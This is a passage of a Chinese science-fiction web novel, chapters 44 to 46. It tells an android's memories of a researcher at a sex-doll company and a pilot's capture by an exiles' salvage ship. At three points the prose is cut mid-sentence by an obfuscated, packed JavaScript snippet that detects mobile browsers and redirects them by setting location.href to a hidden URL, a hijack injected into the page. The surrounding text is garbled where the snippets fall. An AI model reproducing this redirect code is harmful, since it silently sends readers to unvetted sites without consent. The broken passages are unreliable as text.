人类尚且需要思考,不料她不假思索:“我叫娜塔莎,曾用编号AW7609,上古神话系列的基础款。” “当然……如果你好奇的不是这个的话,我还是会告诉你,我叫娜塔莎。” 娜塔莎,一个曾供职于这家情|趣用品厂商的研究员,负责开发模拟神经传感的机器人硬件。 这些遍布在硅胶肌肤上的隐秘传感器,直接作用于人偶的意识程序。娜塔莎将拿到的程序嵌套进机器人中,反复测试,直到模拟出适配每个形象的标准行为。 “直到有一天,她崩溃了。” 也可能只是受够了,娜塔莎又低声道。 随后她抬起脸,秀丽小巧的面庞上露出程式化的懵懂神态,但发出的声音却平静克制。 “于是她放弃自己,让我成为了她。” 44. chapter 44 娜塔莎大学毕业后,抱着正视女性|欲|望的理想进入了这家情|趣用品厂商。她学的是生物医学工程,最初也如愿地研发着女性向用品。 她晋升得很顺利。从一个项目到一整条业务线,娜塔莎接手的任务不再拘泥于小型玩具。很快,她被调往战略组,和竞业协议一同签署的还有无数份异想天开的实验雏形。 人类的性|癖或许比天上的星星还多。在这样一条永无止境的道路上,日月如梭,她做到了首席技术官,和其他管理层的男人们一同站在发布会的聚光灯下。 怎么看都是一则世俗意义上的成功传记。 这顶光环是何时开始变色的?娜塔莎已经记不清。或许是在连续加班的深夜,或许是多次出入的体检医院,亦或是某个稀松平常的清晨,检查工作邮件时出现的虚假项目书。 项目条文乍看正常,是她见怪不怪的情|趣|机器人系列,直到渲染图上那张自己的脸。 “……颠倒身份,跌落神坛,裙摆四散将权力让渡。”娜塔莎冷漠地读完,然后关掉了这张银发人偶的图片。 IT部门没有查到这份充满骚扰与挑衅意味的邮件来源,也可能查到,但出于公司内部氛围,并没有告知她。 又一年情人节来临,上古神话系列人偶即将面世。娜塔莎坐在会议室中,再次在众目睽睽下举起了手,“我反对给人偶装载意识程序,不论何种等级、何种方式。” 意识和感应器不同,就像思维不能等同于神经组织。拥有意识的机器不能再称之为机器,即使这些意识程序只能模拟宠物的心智水平,这项产品也是不人道的。 娜塔莎将理由一一说完,仍没放下手。她扫视着在座众多熟悉的脸,脑中又浮现出那份骚扰邮件。 怀疑的种子一旦埋下就很难根除。她举着手,等下一个大胆的人出言反驳。 无人作声。 但很快,会议主持人增加了投票环节,让在座的各位举手示意,来最终决定上古神话系列人偶的创新方向。 她看着人们面露难色、窃窃私语,有的人脸上露出犹疑,有的人左顾右盼。但他们都陆陆续续举起了手,代表支持。 现在,只有持反对意见的她不得不放下手。 意见收集完毕,会议得以继续。主持人环顾四周:“好,接下来是上个季度的营收情况——” 娜塔莎不记得会议是怎么结束的,毕竟这只是很稀松平常的一天,上班、开会、巡视工厂,她看着男|女|酮|体浮出培养液,还未安装感应器的皮肤苍白如雪。 时至今日她才发现,搭载意识程序是多么暴利的决定,它们用近乎妖媚的方式将死气沉沉的感应器唤醒,整个过程在摁下电源前就撩动人心。 这个情人节滚烫又热烈,上古神话系列成为了厂内最火爆的畅销品。 对当初投出反对票娜塔莎来说,这也让她遭受到了意料之内的白眼。 无所谓了,她继续巡检工厂,看着流水线上一具具美丽的躯干,以及角落中堆放的回收品。崭新的、二手的、残损的、报废的……轮回在这座小小的库房内发生,生老病死,不止局限于生物体之间。 “金銮城的生产线饱和了,所以公司在星系内买了座悬浮岛,这个机会,您看……”被人事一同递上的,还有粉色城堡状的工厂效果图。 娜塔莎接过来,“外派么?我明白。”上古神话系列带火了全线产品,扩张在意料之中。 她很快签了字。 “半个世纪前是流行过生产线外迁……”提亚斯听完,摸了摸下巴上胡茬,“所以,那位研究员把自己的意识装载到了你身上?在这座悬浮岛内?” 想到自己来时才安装的空气模拟机,提亚斯猜测,那位研究员或许已经不在此处了。 银发娜塔莎点头,“准确来说是记忆组件,我知道她过去所经历的事情,以及她当时的情绪反应。” “那你也有她的技能和知识?”提亚斯忽然发问。 这话问得娜塔莎一愣。 提亚斯的目光从她的保安服移到链刃,很明显,她意识程序的智能等级很高,那研究员或许留下的不止是记忆。 他略一思索,实话实说,“我是个极夜城的二道贩子,来这里只想搜罗一些废品。” “坐标是一个老朋友给我的,他说这里是公司几十年前投资失败的一块地,后来废弃,或许有很多别人不要的金属零件。” 娜塔莎挑眉:“你们公司也做情|趣用品?” “不,我前司什么都做,或者出钱让别人做。”关于DM风投,提亚斯只能这样介绍。 他拍了拍身上的灰,站起身来,“你的意识程序挺高明,很像我那老朋友以前描述的。可惜了,我更懂硬件,如果掌握程序和机械的匹配方式就好了——那位研究员已经回金銮城了吗?” 娜塔莎定定地看着他。 半晌,她张开嘴:“不,姐姐已经去世了。” 她用长刀在地面轻轻一点。 “就在这里。” 下一秒,寒光闪烁,提亚斯只觉一阵强风袭来,脖颈间就贴上了硬物。 “关于姐姐,我和男人无话可说。”娜塔莎举起长刀,“聊天结束,你可以走了。记得你永不打搅的诺言。” 于是提亚斯离开了。 二十多年光阴似箭,悬浮岛恢复孤寂。 “在这里去世……?”应霁问。 娜塔莎已经没有当年对提亚斯那般的耐心,无穷时间和无垠宇宙组成的压力,在寂静中将她捶打成了一块石头,坚硬如铁。 即使五官未变,它们也不再能露出当年诞生时娇媚乖顺的神态,听到应霁提问她面不改色,“她身体本来就不好。金銮城派人来时,我听说是心脏骤停。” 与世隔绝的悬浮岛不具备抢救条件,上百具搭载意识程序的人偶也无一有判断能力。 白发苍苍的研究员被裹入塑料膜,装上担架。娜塔莎躲在暗处,看着人们将她软绵绵的肢体折叠,塞入袋子,最后抽干空气。 和人偶打包时一样。 “姐姐……原来我们没有什么不同。” 目送飞船离开,娜塔莎换上了娜塔莎留下的保安服,学着她巡检工厂的样子码好每个塑料盒。她与盒中面若桃花的女孩们对视,即使她们从不回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423700|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在,娜塔莎不会再受到生老病死的束缚,她不会离开了。 空气中漂浮着灰尘,积年累月。 现在应霁知道她为什么能理解神经快感之类的研究了。他不再疑惑,也无从开口。 还是娜塔莎率先打破沉默。 她指了指应霁的手环光屏:“那个穿夹克的人,你认识?” 照片上的提亚斯正伏案工作,浓密的胡须已经随着衰老变成了花白色,标志性的皮质夹克依然套在身上,领口已经磨损。 “认识,曾经相处过一段时间。” 娜塔莎:“他现在还好吗?” 应霁:“……他最近也去世了。” 娜塔莎闻言耸耸肩:“人类的寿命可真短暂。” “不过,按人类自己的神话传说来看,他们可能会在另一个维度再见。” * 即使拼到一起,两张单人床之间还是有缝隙,像一道幽长的峡谷。 燕无乐关闭了「扁舟」内所有多余功能,只余舷窗投进的点点星光。 此刻,她浑浑噩噩地裹在被子中,感到身上仿佛有火在烧。 一臂远的床头放着空水杯,两板退烧药随意地躺在旁边,驾驶舱的门敞着,光屏显示距离上次操作已过去了三十六个小时。 距离「扁舟」遭受袭击,也超过了四十个小时。 当时,燕无乐的额头伤口逐渐感染,多重疲劳累积,她强打精神操作飞船,也只堪堪将「扁舟」驶离了充满危险的陨石区域。 近三分之一的发动机与转向器损坏,以及定位系统的失灵,顿时让这尊全能型飞船变得笨重,宛如落入茫茫星海里的一颗鹅卵石。 危机四伏,敌暗我明。燕无乐不敢贸然发出求救信号,她凭借时断时续的地图,将「扁舟」勉强挪到了星际航道附近。 在幸运女神降临前,她要增加被路过飞船救援的可能性。 做完这一切,她才稍稍松了口气,紧接着困倦袭来——燕无乐再次恢复意识时,就发现自己口干舌燥,浑身上下滚烫无比。 床头还剩应霁离开前放的半杯水,她伸出手,没想到与机械臂相连的皮肤顿时刺痛,她的手臂红肿,原本完美贴合的地方不复存在。 燕无乐索性伸出左手,“哐当”一声,机械臂重重砸在地板。 右臂刹那间轻松不少。 头疼脑热,她从两板退烧药中随便扒拉了两粒,然后将杯中水一饮而尽。 想要再续一杯时,才想起这屋内已没了任何智能管家。 更没有某个体贴入微的人存在。 燕无乐在床上怔愣了一会儿,才爬起来去找瓶装水。「扁舟」内现存的储备物资,大概够她精打细算地流浪一个月。 但这总归是治标不治本,难做长久之计。 附近有路过的船只吗?燕无乐走向驾驶舱,倘若有其他船只信号,她就可以定向发送求救信号。 然而,没等她看清仪表盘,一阵剧烈的颠簸来袭,「扁舟」的外壳处又传来了清脆的碰撞声。 燕无乐抬起头,一张巨大的锁链捕捞网铺天盖地,迎面而来。 45. chapter 45 燕无乐很多年没这样被动过了。 在特大号的捕捞网前,她所能做的就是稳住身体,然后尽可能快地揣上机械臂,换好行动服。 床下的抽屉内整齐码放着各色武器。她高烧未退,此刻连机械右臂都觉沉重,只得草草拿上几件轻便装备。 舷窗外已不见星光,取而代之的是大小不一的陨石碎片,它们簇拥在一起,与「扁舟」一同被网捕捞。 很快,她感到飞船被拖拽向前。 燕无乐最后往手指上套了枚暗器戒指。以驾驶舱大门为掩体,她看见自己正被拖往一个深不见底的腹舱。 这画面像某种地球时代的深海鱼类,她的「扁舟」被长长的发光诱饵所惑,而自己也将被尖牙与大口吞食。看这崎岖不平的轮廓,她就知道这绝不是什么正经飞船。 燕无乐深吸一口气,在被吞没前的最后时刻又检查了遍机械臂。好在一切如常,证据链依然藏在其中。 “轰——” 巨响袭来,与此同时心脏抽痛,她感到自己双脚悬空了一瞬,下一秒,燕无乐就和「扁舟」一起重重跌落。 飞船内的重力系统被覆盖了。 在这个巨型鱼肚内,「扁舟」和材质各异的陨石碎片被一同沉淀。燕无乐胃中翻江倒海,她抓着扶手挪到起居室的狭小舷窗,用手电照向舱外—— 缝隙外,“鱼肚”内壁上布满利刃,它们大小、形状各异,形同鲨鱼利齿,层层叠叠组成一圈又一圈,其中最小的也超过一米。 光束继续向上探照,无数尖牙圆环露出轮廓。这里像一个鲨类口腔,在直径五十米到一百米的圆筒空间内,嵌套着数不清的利刃圆环。 金属刀片折射手电强光,露出了地面沉积的残骸。只消一眼,燕无乐就认出了其中与「扁舟」外壳相似的航空材料。 这里宛如一座屠宰场。 脚下忽然传来“嗡嗡”的震动,燕无乐一惊,连忙关闭手电。 「扁舟」和其他陨石碎片一起,正被履带运往前方。 但预想中的绞杀没有降临,“口腔”尽头出现亮光,另一条通道开启。 红棕色的地板浮现在舷窗外,一辆辆工程车驶过,最后横七竖八地立在两侧。它们被新旧零件拼合在一起,奇形怪状,有的甚至保留了地球时代车辆的框架。 有人从工程车上探出头,随后,一架架激光枪和轨道炮对准了她与飞船。 燕无乐:“……” 她默默放下重型武器,打消了装腔作势的念头。 「扁舟」躺在一堆陨石碎片中,暴露在众人眼前。很快,两个高达三米、形销骨立的机器人掰开了舱门。 “咔哒”一声脆响,燕无乐双手被拷。 她被两个机器人押出飞船,张开空空如也的双手以示缴械。 黑洞洞的枪口从面前移开。 “……女人,居然是女人?” “这么大的飞船只有一个人?这可不正常。” “哎,你们看她的手!义肢?” 交头接耳的声音不绝于耳,燕无乐站在一众工程车前,与神情各异的众人一一对视。 或许是没见过这么理所应当的态度,窃窃私语降了不少,许多人下意识躲开燕无乐的目光,剩下的人找不到同类,也不再应和。 燕无乐的双手被禁锢在身前,但双目敞亮。不到一会儿的功夫,她就把这屋内情况尽收眼底。 除了左拼右组起来的几十辆工程车,不远处还有十来架起重机和吊车,许多小叉车停在其下,上面还载着未来得及卸载的钢材。 视线尽头是一尊漆黑的炼化炉。它像一颗心脏,钢铁血管延伸至房间天花板,下面则是比吊车还要高的炉体,源源不断的太空垃圾将它烧得黑中透红。 如果说方才的入口是鮟鱇鱼布满利齿的口腔,那么这里就是这条钢铁巨鱼的胃袋,所有经过“屠宰场”的太空捕捞物都将被打碎,然后送到此处等待筛选、重炼。 燕无乐深吸一口气,大概推测出了这架超巨型飞船的运行模式。 看样子,他们的目标是「扁舟」,而自己不过是飞船连带的小小附赠品。 她暗中松了口气,这可比前来杀她的未知敌人好多了。 悉悉索索的交谈声没了,人们面面相觑,看着燕无乐淡定从容地观察四周。 “哇哦,东方面孔,长得蛮漂亮的嘛。” 一道洪亮的男声不合时宜地响起,不像旁人那般遮掩。 燕无乐循声望去,只见正前方的吊车突然启动,钢铁长臂垂下,小筐内吊儿郎当地站着个年轻男人。 他扎着小辫,握着操作杆的手指间还夹一支烟。他下降到距地面一两米的高度,正好俯视着她。 燕无乐也无所谓,她抬起头,正视回去。 二人就这样审视彼此,表情都不甚明朗。 直到燕无乐眯起眼:“还没看够?” 年轻男人这才爽朗一笑,随后拉动摇杆,吊车又将他送至半空。 紧接着,他的声音回荡四周:“有意思,你居然不是流放者!兄弟们,今天这网可是给我们捞来一个大惊喜!” 众人不明所以,但还是跟着年轻男人一起欢呼雀跃。有几道心直口快的声音传到燕无乐耳中:“不是流放者?那她是啥?” 好了,她现在也能猜出这些人的身份了。 所谓流放者,其实是上个世纪初,随着几次星际越狱事件后而兴起的说法。一部分囚犯窃取飞船,不管不顾地奔向星空,自此杳无音讯。 而在这之后,所有因故背井离乡、流亡星际的自然人,都以“流放者”自居。他们中有非法移民失败的、有从监狱中逃脱的、也有怀着冒险精神自愿加入的。 而宇宙并非一团混沌,引力圈和旧航道的存在,将来自五湖四海的流放者们吸引到一起。他们上供了各自的飞船,最终形成了这钢铁鮟鱇鱼一般的「流放者之家」。 随着小辫男的带头,工程车群纷纷为燕无乐让道,左右两个机器人做出“请”的手势,竹节虫般的手臂指向前方。 那年轻男人从吊车上一跃而下,走到她身前,“我叫周一,星期一的周一。这位美丽的小姐,您怎么称呼?” “飞燕的燕,燕无乐。”她晃了晃手铐,“这个能给我解开了吗?” 周一看了眼她,又看了眼手铐内的机械臂,“如果你不叫这个名字的话,它倒是随时能解。” “久仰大名,没想到有朝一日还能在金銮城外见到燕总本人。怎么,逃婚逃到外太空了?豪门世家里的腥风血雨、暗流涌动?” 燕无乐:“……什么乱七八糟的。” 周一不语,只是一味展示他多如山般的电子垃圾读物。 “难道我说的不对吗?你自己瞧瞧,”他手环光屏变为镜子,对准燕无乐,“你脸这么红,我以为是被我猜中然后恼羞成怒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433821|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 镜中倒影下,燕无乐确实脸颊通红,马尾束起露出的额头上,还有硬币大小的血痂。 “……” 她抿了一下嘴唇,试图让它们不那么苍白。 燕无乐:“发烧烧的罢了。” 周一“哦”了一声,随后掏出传呼机喊了串暗号,燕无乐不明所以,直到一个飞奔而来的小孩递来退烧药。 “吃了吧,不用谢我!”周一说完向四周挥了挥手,围观群众登时作鸟兽散,回到各自岗位干活去了。 两个竹竿般的机器人依然寸步不离,周一又掏出个游戏手柄,让它们挪开一步,看起来像左右护法。 “健康可是工作的本钱,燕大资本家。”他举起手柄指向前方,“千万别倒下了,我们的参观才刚刚开始!” “「大鱼」欢迎你——” 巨型火炉的另一端有大门敞开,短暂的楼梯盘旋而上后,是一个圆形的大厅。 除了他们来时的楼梯通道,这里还有数十条长得一模一样的小门,它们依次编号,呈放射状铺在圆形大厅周围。 周一带着燕无乐随意推开一扇,里面如同羊肠小道,嘎吱作响的狭窄地板两旁是更小的门,大致仅能容纳一人。 每扇小门上同样有编号,只是数字已到了三位。周一又随意推开几间,里面有桌椅板凳,以及数量不一的单人床。 “居住区。”周一言简意赅,他指了指他们的头顶,示意上面不再有建筑。 燕无乐在脑中勾勒图形。看样子,这里是「大鱼」的背部,占比不多,承重有限。 周一:“你之后也会住在这里,等婆婆们安排吧。” 燕无乐应下,她的「扁舟」需要修复,一时半会回不去,不如住下。 二人脚步未停,继续向前。周一看她一脸的随波逐流,“你就这样住下了?都不挣扎一下,真被扫地出门了?” “那我走?” 她把手腕上的铁铐甩得哗啦作响。 “……sorry!” 这酒店长廊一般的部分没持续多久,很快他们便听到嘈杂声音。生活区到了,区别于鱼腹的加工区,这里妇孺居多,做的活也与日常衣食住行有关。 燕无乐躲开几个横冲直撞的小孩,又穿过数十口被关在铁笼中的热锅。不远处是饭堂、诊所和仓库,后勤保障皆在这一方空间中完成。 许多女人停下手头的活,看着周一领着个年轻女人在这穿行,来人容貌昳丽,四肢修长,机械手臂上流淌着不菲的银光,一看就十指不沾阳春水。 于是她们又兴致缺缺地移开了视线,继续搬卸沉重的饭桶。 燕无乐环顾四周:“这里的人怎么这么少?你们刚架着枪炮对准我时,不是阵仗挺大的吗?” 周一:“特事特办咯,不是针对燕小姐你哈!现在加工区时间紧,任务重,人手自然都被调过去了。” 什么任务,她问。 最后一扇大门被周一推开,视野忽然辽阔起来。浩瀚星海穿越穹顶,笼罩在众多渺小人类之上。是驾驶区,所谓「大鱼」的头颅所在。 “任务?不如说是使命,一个量变达到质变的巨作!” 周一高亢的声音淹没在群星之中,一字一顿,感染在场所有人: “你知道悬浮岛吗?我们将收集沿途所有的悬浮岛,粘成一个新大陆!” 众人和他一起欢呼,“——上岸!” 46. chapter 46 周一将燕无乐带回居住区,一位管家婆婆迎了上来。 手铐终于取下,她活动着僵硬的手腕,跟着婆婆走到一间编号为“404”的房前。 门内左右墙边各放一张窄床,其中之一堆着衣服,床下还放着鞋袜。燕无乐看了看已被杂物占满了的唯一一张小桌,知道独居已成奢望。 她扭身问管家,自己能不能回「扁舟」一趟。 这位婆婆闻言“嗯”了一声,像是没听清,她双颊的皮肤松垮垂下,眼皮耷拉,虽然行动自如,但背已驼起。 “我说,飞船,我的,”燕无乐声音大了些,伸出手在空中比划出了个大椭圆,“白色的,刚才被拖进来的——” “啊——?” 燕无乐指指走廊,又指指自己,最后还是泄气地把手放下了。 “阿婆年纪大了,耳背,你有事写字条给她就好,记得写大一点。” 愁眉莫展之际,一道轻快的声音传来,门外站着个女生,正擦着滴水的短发看向燕无乐。 管家婆婆公事公办,她把房间钥匙往燕无乐手中一塞,短发女生就明白了意思,“你就是今天被捞上来的?看来我们要做室友了,我叫丁羽。” 燕无乐收好钥匙,“你知道我的飞船在哪吗?它还能用。” 丁羽同情地看了她一眼,“能不能用都不重要了,被捕捞上来的东西,默认归「大鱼」中的大家共有。修不好的会被搅碎、熔化,修好的也不会还给本人。” 这就是流放者之家的生存模式。来之前每个人或富有或贫穷,但无论物资多少、身价几何,登船后的财产都将上缴后充为公有。 燕无乐只得旁敲侧击:“但我的飞船我能修,或许可以帮到忙?你好像挺懂这方面的。” 她的视线扫过丁羽周身,只见她身着灰衣黑裤,肩上搭着的毛巾还有些潮湿。即使刚洗完澡,也有股刺鼻的机油味。 她将手中的洗漱用品放在桌上,然后把杂物“哗啦”一拢,给燕无乐留出半张空余。 她往床上一坐:“是啊,我是被调到加工区的大冤种。” “你的飞船好着呢,暂时放在鱼肚里的储备区了,应该这两天就会开始修理。”她一顿,“但我劝你把它忘了吧,真的,怕你到时候看见它会难受。” 燕无乐想起那些风格迥异的拼装工程车,想象不出「扁舟」被打上补丁的模样。 丁羽瞧了眼燕无乐的机械臂,“你是不是干不了重活?这样的话你会被分到生活区,去做做饭,带带孩子。我原来就在那里。” 看来是把它当做普通义肢了。 燕无乐:“但我不怎么做饭,也没带过孩子。” 丁羽这才仔细打量了燕无乐的脸。眉眼舒展,皮肤细腻,每一块肌肉都曲线流畅,也没有她过去常常见到的填充痕迹。仅看她剩下的那只手,也是关节平整、指甲饱满,确实不像干活的人。 她难为情地说,生活区的活已经算轻松了,驾驶区则都是元老级别的人才能涉足,而现在这个特殊节点,不去加工区已经算照顾了。 “没事的,我想去加工区。不管是吊车还是工程车,我都能开。”重点是「扁舟」就停放在加工区,燕无乐不打算在流放者之家蹉跎。 她要尽快修复好飞船,然后快快离开。 丁羽不知道她这些小九九,看这不解的神情,燕无乐猜测周一并没有广而告之她的身份,这倒也符合流放者们一贯的作风——抛弃个人主义,打造共生共有的乌托邦。 “那我就不知道了,你去问问周一?他的权限很高,可以调度人员。”丁羽又叹了口气,小声抱怨,自己想回生活区还回不去呢。 燕无乐想起自己的手铐被解开的时候,两个机器人按着她的肩膀,周一将她指给管家婆婆时,又找来一套围裙。 这个意图很明显了,周一知道她的身价和技术,正有意地让她远离核心区域。别提自己的飞船,恐怕是那些共享的工程车也不会让她摸一下。 有人的地方就有社会,所谓共生共有的乌托邦则是以共同理想为前提。而流放者们来自各类天体或星际殖民地,价值观迥异,照理来说极难管理,那是什么让他们凝聚一心? 燕无乐话锋一转:“你们说的特殊节点,我听说是什么……收集悬浮岛、黏合新大陆?这是真的吗?”找周一换岗位有打草惊蛇的风险,不如迂回一点,她看向双眼重新亮起的丁羽。 “对呀,我们已经为此忙了好几个月了。”她点头时短发甩动,几滴水珠溅落在地,“大概在半年前,我们捕捞到了一座空间站残骸,里面有很多文件和实验装备,还有各种各样的矿石、金属、胶质……那些文件里记载了将不同的固体介质黏合甚至融合的办法。” “我们又做了很多实验。理论上,只要有足够质量的固体介质,不论是什么,我们都能将它们拼合在一起,最终稳定在引力轨道上。” 加上流放者们早已掌握的培土和育种技术,只要有这么一块稳定的陆地,他们安居乐业、不再漂泊的梦想就得以实现。 燕无乐点点头:“听起来是挺美好的。” 丁羽叹了口气,毕竟「大鱼」再怎么全能,在探索未知区域时,依然有被时空裂缝撕碎殆尽的几率。流浪所需要的能源开采又意味着这种可能性永不为零。 极夜城居民凿穿了密不透风的地基,这群流放者们则试图打造自己的星球家园。 这对自幼生活在金銮城的燕无乐来说,是能理解但无法共情的事,她看着丁羽将写有“加工区”的工作服晾到床头,一个计谋缓缓浮现。 第二天一早,燕无乐被管家婆婆叫醒,隔壁床上空空如也,丁羽已出门上工。而她穿上婆婆递来的围裙和袖套,一路走到「大鱼」的生活区。 她深吸一口气,空中烹煮的香味勉强让她清醒,数口大锅的上方悬挂着巨大的时钟,她瞥了一眼,发现距昨晚入睡竟只过了三个小时。 难怪她浑身不舒服,一摸额头仍然隐隐低烧,鼻塞严重。她对着一群见怪不怪的中年妇女们抱歉地笑笑,“我感冒了,请问有什么我能干的活吗?” 她们面面相觑,终于有一位站出来指了另一个方向,大声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447768|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “感冒了就离锅远点!去那里!” 那个片区很安静,燕无乐看了眼上面所标的“育儿”二字,“……您确定吗?我说我感冒了。” 谁知那群妇女鄙夷地移开视线,又低头烹煮早饭去了。 可能感冒听起来太像偷懒的借口,燕无乐回头看看那十几口半米高的大锅,犹豫了一下,还是踏入了“育儿”区域。 这里只有一个房间,静悄悄的。 她了解丁羽在加工区的工作,但并不清楚丁羽所向往的、可以“带带孩子”的生活区。 身为独生女,燕无乐并没有这种体验,包括想象。 或许燕成蹊和安梵曾有过打算,但在十几年前那场让燕无乐致残的恐怖事故后,他们就放弃了折腾。 燕无乐抚摸着隐约疼痛的上肢,也不知道这是好是坏。 育儿房的门“哗”地拉开,打断了她的回想。里面探出一张清瘦的人脸,轻道了句“请进”。 这张脸的高度略显尴尬,燕无乐低下头,只见来者的颧骨上架着细框眼镜,眉毛稀疏,双眼略微凸出,可能是常年向上看的缘故,额前已出现细微皱纹。 再往下,一个卡在门框间的细轮吸引了燕无乐的注意力,她连忙将门拉开,“不好意思,我才看见……” 这男人的下半身隐没在轮椅中。 他摇着轮椅让出门口,冷淡地瞥了眼燕无乐此刻松开门把的机械右手,“没事——你不也一样吗?” 他自称学者,是育儿房的负责人。燕无乐跟着他走进大房间,这里一片空旷,除了角落里的几箱书籍,只有房间中央矗立着一个球形的玻璃装置。 此刻它灰暗无光,向内看去也是空空如也。燕无乐不确定地伸手一敲,清脆的声音证明这确实是玻璃无异。 一般来说,流放者之家的孩子数量有限,他们通常是流放者们所生,或者来自偷渡失败的逃生船。 偷渡九死一生,而在这个男多女少的太空中出生也并非容易。比起密集型劳动的加工区,生活区重任大多在做饭打扫等后勤,看这毫无生机的育儿房,燕无乐大概明白丁羽在羡慕什么了。 带带孩子……燕无乐叹了口气,多么边缘、又多么重要的工作。 孩子是「大鱼」未来的继承者,自然重要;而边缘则是指她自己:不再掌握核心工作和话语,日复一日地磋磨在鸡毛蒜皮的整理、洗扫,心绪也被小崽子的一举一动影响。 快乐和成就感或许也不少,但这些空洞的安慰起不了效。 学者的轮椅停下,回头望了眼她:“叹什么气,不喜欢小孩?” 燕无乐也不掩饰,点头承认。 “哦,很正常,我也不喜欢。” ……嗯? 学者推了把眼镜,“不喜欢不是很正常吗?没人规定谁一定要喜欢小孩,也没人规定一定要喜欢才能把事做好。” 没有期待反而是好事,处理问题也会更冷静,学者淡淡道。 他摇着轮椅挪向那座透明的玻璃圆球,“嗡”的轰鸣响起,里面逐渐浮现出一颗小小的地球。